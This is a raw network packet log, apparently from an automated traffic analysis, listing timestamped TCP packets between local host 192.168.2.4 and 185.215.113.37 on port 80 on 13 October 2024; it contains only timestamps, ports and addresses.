Oct 13, 2024 11:54:14.272857904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.272895098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.272912025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.272947073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.272950888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.272979975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273000002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273014069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273030043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273047924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273066998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273082972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273097992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273132086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273132086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273164988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273185968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273215055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273216009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273251057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273267984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273287058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273298979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273319960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273336887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273355007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273381948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273389101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273405075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273421049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273433924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273477077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273514986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273526907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273539066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273561954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273581982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273601055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273612976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273637056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273669958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273691893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273703098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273721933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273730040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273736954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273753881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273767948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273768902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273787022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273802042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273809910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273818970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273833036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273835897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273853064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273857117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273869038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273884058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273890018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273900032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273915052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273929119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273943901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273945093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273961067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273967981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273977041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.273988962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.273993015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274008989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274022102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.274023056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274039984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274055004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274063110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.274070024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274085045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274101019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274102926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.274117947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274128914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.274133921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274147034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.274152040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274168968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274183035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.274183989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274199963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274214983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274219990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.274230957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274245024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.274245977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274264097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274266005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.274281025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274296999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274308920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.274313927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274329901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274343967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.274344921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274363041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.274367094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.277892113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.277892113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.363631010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.363738060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.363799095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.363852024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.363872051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.363908052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.363910913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.363931894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.363950014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.363965988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.363966942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.363992929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.363995075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364007950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364013910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364032030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364038944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364041090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364051104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364079952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364094973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364099979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364110947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364129066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364146948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364159107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364159107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364165068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364180088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364183903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364201069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364203930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364221096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364223003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364242077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364265919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364269972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364275932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364289045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364299059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364308119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364319086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364336014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364347935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364353895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364356995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364381075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364392042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364398956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364402056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364418030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364430904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364435911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364440918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364450932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364475965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364492893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364504099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364511967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364521980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364530087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364542961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364550114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364558935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364563942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364578009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364589930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364594936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364609957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364614010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364630938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364645958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364646912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364669085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364679098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364696026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364703894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364713907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364726067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364738941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364747047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364754915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364765882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364772081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364780903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364789963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364798069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364799976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364820004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364839077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364845037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364861012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364876032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364888906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364892006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364908934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364923000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364927053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364938021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364953041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364954948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364960909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364975929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.364975929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.364993095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365000963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365010023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365026951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365041018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365065098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365156889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365180016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365196943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365211964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365216970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365227938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365243912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365247965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365247965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365257978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365261078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365278959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365283966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365294933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365297079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365319014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365329981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365339994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365354061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365360022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365375996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365396023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365400076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365405083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365415096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365426064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365447998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365448952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365463972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365473032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365483046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365490913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365514994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365524054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365603924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365619898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365634918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365649939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365649939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365664959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365669012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365684032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365685940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365703106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365704060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365717888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365720987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365729094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365737915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365752935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365756989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365768909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365781069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365801096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365823030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.365849972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.365894079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366034031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366050005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366065025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366080046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366082907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366092920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366096973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366112947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366122007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366128922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366142988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366148949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366158962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366174936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366175890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366189003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366204023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366204977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366214991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366220951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366257906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366261959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366281986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366286993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366303921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366307974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366318941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366331100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366337061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366353035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366355896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366365910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366369963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.366393089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.366414070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.456470013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.456522942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.456558943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.456614971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.456666946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.456670046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.456670046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.456670046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.456721067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.456756115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.456778049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.456789017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.456813097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.456823111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.456842899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.456857920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.456875086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.456892014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.456908941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.456926107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.456942081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.456959963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.456978083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457010031 CEST	80	49730	185.215.113.37	192.168.2.4
